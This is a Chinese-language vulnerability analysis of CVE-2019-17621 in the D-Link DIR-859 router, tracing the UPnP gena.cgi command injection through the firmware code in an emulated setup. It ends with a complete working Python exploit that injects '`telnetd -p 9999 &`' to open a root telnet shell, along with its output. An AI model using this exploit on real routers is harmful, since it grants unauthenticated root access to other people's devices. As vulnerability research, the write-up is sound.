0x01 漏洞概述
1.简介
D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞(CVE-2019-17621)
nist通告 CVE-2019-17621 Detail
2.漏洞研究版本
型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位
3.受影响版本
0x02 firmAE 模拟环境搭建
用firmAE debug模式直接模拟固件运行环境:
$ sudo./run.sh -d ./DIR859Ax_FW106b01_beta01.bin
运行后在debug模式可以直接进入shell,方便调试:
0x03 漏洞原理
1. 定位漏洞位置
首先扫描端口:
nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-16 09:44 EDT
Nmap scan report for 192.168.0.1
Host is up (0.0066s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
443/tcp open https
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
查看tcp 49152端口对应服务:
# netstat -al
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 dlinkrouter:49152 0.0.0.0:* LISTEN
tcp 0 0 dlinkrouter:80 0.0.0.0:* LISTEN
tcp 0 0 hgw:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 dlinkrouter:8182 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:63481 0.0.0.0:* LISTEN
tcp 0 0 dlinkrouter:443 0.0.0.0:* LISTEN
tcp 0 0 fe80::2de:faff:fe70:5ba9:49152 :::* LISTEN
tcp 0 0 :::31338 :::* LISTEN
tcp 0 0 fe80::2de:faff:fe70:5ba9:80 :::* LISTEN
tcp 0 0 :::53 :::* LISTEN
tcp 0 0 fe80::2de:faff:fe70:5ba9:8182 :::* LISTEN
tcp 0 0 :::63481 :::* LISTEN
tcp 0 0 ::ffff:192.168.0.1:31337 ::ffff:192.168.0.2:58450 ESTABLISHED
tcp 0 0 ::ffff:192.168.0.1:31338 ::ffff:192.168.0.2:33318 ESTABLISHED
显然httpd对应多个端口服务,但是49152具体是做什么服务的呢?
在解压缩后的固件输入指令grep -r '49152'
,显然对应upnp服务
同时,查找httpd相关信息时:
$ grep -r "httpd"
l7-protocols/extra/httpdownload.pat:httpdownload
services/STUNNEL.php:/* prepare data for http to create httpd.conf (service STUNNEL) */
services/HTTP.php:$httpd_conf = "/var/run/httpd.conf";
services/HTTP.php:fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
services/HTTP.php:fwrite("a",$START, "httpd -f ".$httpd_conf."\n");
services/HTTP.php:fwrite("a",$STOP, "killall httpd\n");
services/HTTP.php:fwrite("a",$STOP, "rm -f ".$httpd_conf."\n");
注意到有httpd_conf文件,进入文件系统查看httpd.conf内容,看到这段:
Server
{
ServerName "Linux, UPnP/1.0, DIR-859 Ver 1.06"
ServerId "LAN-1"
Family inet
Interface br0
Address 192.168.0.1
Port 49152
Options { nodelay Off }
Virtual
{
AnyHost
Priority 0
Control
{
Alias /
Location /htdocs/upnp/docs/LAN-1
}
}
}
进入路径/htdocs/upnp/docs/LAN-1
,查看文件夹下文件:
/var/htdocs/upnp/LAN-3 # ls -al
-rw-r--r-- 1 root 0 3954 Nov 24 00:00 InternetGatewayDevice.xml
-rw-r--r-- 1 root 0 920 Nov 24 00:00 Layer3Forwarding.xml
-rw-r--r-- 1 root 0 219 Nov 24 00:00 OSInfo.xml
-rw-r--r-- 1 root 0 5343 Nov 24 00:00 WANCommonInterfaceConfig.xml
-rw-r--r-- 1 root 0 773 Nov 24 00:00 WANEthernetLinkConfig.xml
-rw-r--r-- 1 root 0 12078 Nov 24 00:00 WANIPConnection.xml
lrwxrwxrwx 1 root 0 14 Nov 24 00:00 soap.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 root 0 14 Nov 24 00:00 gena.cgi -> /htdocs/cgibin
drwxr-xr-x 4 root 0 0 Nov 24 00:00 ..
drwxr-xr-x 2 root 0 0 Nov 24 00:00
注意漏洞通告中的这句话:
The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root
能够定位漏洞位于/htdocs/cgibin
位置
2.程序分析
打开用binwalk解压缩后的固件包,用ida 7.5打开cgibin文件,看到main函数中有gena.cgi的调用:
进入genacgi_main函数中,大概功能是v1接收传入的REQUEST_URI的值,然后传给v2,之后判断v2前面的值是否是
?service=
,之后的值传送给v4,v4根据v0接受的REQUEST_METHOD
,判断进入那个子函数。假设进入第二个分支,进入sub_4100EC(),
通过snprintf传送给了v6,之后v6进入xmldbc_ephp()。进入该函数:
计算传入的数据的长度,之后将传入的数据的地址传递给子函数sub_414FB8()
传入的数据对应地址是子函数sub_414FB8的第四个参数,又作为()的第四个参数传入:
进入sub_41490C(),可以看到a4->v13,又作为第二个参数传递给sub_41484C(a1, v13, a5)处理,
进入之后发现被send出去,
查看send各参数含义:
ssize_t send(int fd, const void *buf, size_t n, int flags)
但是传送给谁了呢?其实在这段代码就有体现。根据参数对应关系,显然传入的数据
?service=XXX
中的xxx
作为
snprintf(
v6,
0x200u,
"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
"/htdocs/upnp/run.NOTIFY.php",
v3,
a1,
v4);
传送给了run.NOTIFY.php中。
查看run.NOTIFY.php内容
<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>
注意第二段if 判断,基本逻辑是判断METHOD的种类,之后交给对应函数处理。该处理属于做服务判断然后订阅事件。而GENA_subscribe_new的内容定义在了/htdocs/upnpinc/gena.php中。gena.php中的GENA_subscribe_new定义如下:
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
anchor($node_base);
$count = query("subscription#");
$found = 0;
/* find subscription index & uuid */
foreach ("subscription")
{
if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
}
if ($found == 0)
{
$index = $count + 1;
$new_uuid = "uuid:".query("/runtime/genuuid");
}
else
{
$index = $found;
$new_uuid = query("subscription:".$index."/uuid");
}
/* get timeout */
if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
/* set to nodes */
set("subscription:".$index."/remote", $remote);
set("subscription:".$index."/uuid", $new_uuid);
set("subscription:".$index."/host", $host);
set("subscription:".$index."/uri", $uri);
set("subscription:".$index."/timeout", $new_timeout);
set("subscription:".$index."/seq", "1");
GENA_subscribe_http_resp($new_uuid, $timeout);
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
查看GENA_notify_init的定义:
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
if ($inf_path=="")
{
TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
return "";
}
$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
if ($phyinf == "")
{
TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
return "";
}
$upnpmsg = query("/runtime/upnpmsg");
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
在fwrite函数,执行的是往$shell_file
写入脚本,可以看到$uri $host $sid $host
都做了检查。但是在这里:
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
对传入$shell_file并没有进行检查,自然通过"`"反引号进行命令注入。但是之前我们假设在genacgi_main进入的是第二个分支,即UNSUBSCRIBE,回顾第二个分支子函数sub_4100EC()中的关键代码:
snprintf(
v6,
0x200u,
"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
"/htdocs/upnp/run.NOTIFY.php",
v3,
a1,
v4);
并没有shell_file的相关内容。再回头查看第一个分支sub_40FCE()的处理函数:
snprintf(
v23,
0x200u,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
"/htdocs/upnp/run.NOTIFY.php",
v2,
a1,
v3,
v20,
"/var/run",
a1);
$shell_file
的对应值正是我们可控传递进的a1的值。
3. 参数传递过程
所以我们通过tcp 49152端口传递处理链是这样的:
data->cgibin->cgibin.genacgi_main->sprintf($shell_file)->send->run.NOTIFY.php->gena.php($shell_file)
最后在.sh脚本执行rm $shell_file
时触发命令注入。
而$shell_file
的值正是我们传入的?service=xxx
中xxx
的值。
0x04 exp利用
在firmAE模拟基础上,我们直接用研究员编写的脚本:
import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}').format(host=server, port=port)
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(request.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
由于路由器上就用telnet的客户端,启动telnet服务,并映射到9999端口。
运行exp,运行结果如下:
[*] Connection 192.168.0.1:49152
[*] Sending Payload
[*] Running Telnetd Service
[*] Opening Telnet Connection
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2016-11-24 11:46:19 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# ls
root www sys lib dev
run var sbin htdocs bin
etc_ro usr proc home lost+found
firmadyne tmp mnt etc
此时用nmap扫描该dlink路由器,发现已经在9999端口开启telnet服务:
nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-19 11:16 EDT
Nmap scan report for _gateway (192.168.0.1)
Host is up (0.0077s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
443/tcp open https
9999/tcp open abyss
49152/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds